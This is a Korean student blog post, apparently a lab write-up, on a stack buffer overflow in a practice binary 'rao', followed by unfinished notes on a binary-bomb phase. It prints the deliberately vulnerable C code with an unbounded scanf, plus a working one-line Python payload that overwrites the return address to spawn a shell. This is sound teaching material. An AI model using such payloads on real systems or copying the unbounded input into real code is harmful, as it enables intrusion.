본문 바로가기

시스템

7주차 시스템

실습에 사용될 코드는 다음과 같다.

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

분석

취약점은 scanf("%s", buf)부분에 있다. 실수 또는 악의적으로 버퍼의 크기보다 큰 데이터를 입력하면 오버플로우가 발생할 수 있다. “%[n]s”형태를 대신 사용해야한다. 

A를 5개 입력하면 다음과 같이 정상적으로 나온다. 

A를 64개를 입력하면 다음과 같은 오류가 난다. 

 

페이로드 구성

앞에서 파악한 정보를 바탕으로 아래와 같은 페이로드를 구성할 수 있다

 

엔디언 적용

구성한 페이로드는 적절한 엔디언(Endian)을 적용해서 프로그램에 전달해야 한다. 구성한 페이로드는 적절한 엔디언(Endian)을 적용해서 프로그램에 전달해야 한다. 리틀 엔디언에서는 데이터의 Most Significant Byte(MSB; 가장 왼쪽의 바이트)가 가장 높은 주소에 저장되고, 빅 엔디언에서는 데이터의 MSB가 가장 낮은 주소에 저장된다. 0x12345678은 엔디언에 따라 다음과 같이 저장됩니다.

 

익스플로잇

엔디언을 적용하여 페이로드를 작성하고, 이를 다음의 커맨드로 rao에 전달하면 셸을 획득할 수 있다.

$ (python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao
$ id
id
uid=1000(rao) gid=1000(rao) groups=1000(rao)

 

플래그를 획득한다.

 

Bomb

 

phase_5를 disass 한다. eax에 string_length로 반환된 값을 저장하는 걸 알 수 있다. 길이가 6이라면 종료부분으로 점프, 아닐 경우 폭발을 한다 

flyers가 나온 값으로 phase_5의 값을 알아냅니다. AND연산을 이용하여 값을 알아냅니다. 이 부분은... 잘 설명하지 못하겠습니다 좀 더 알아보겠습니다

'시스템' 카테고리의 다른 글

5주차_시스템  (0) 2024.08.07
4주차_시스템  (0) 2024.07.29
3주차_시스템  (1) 2024.07.22
시스템 2주  (1) 2024.07.15
시스템 1주  (0) 2024.07.07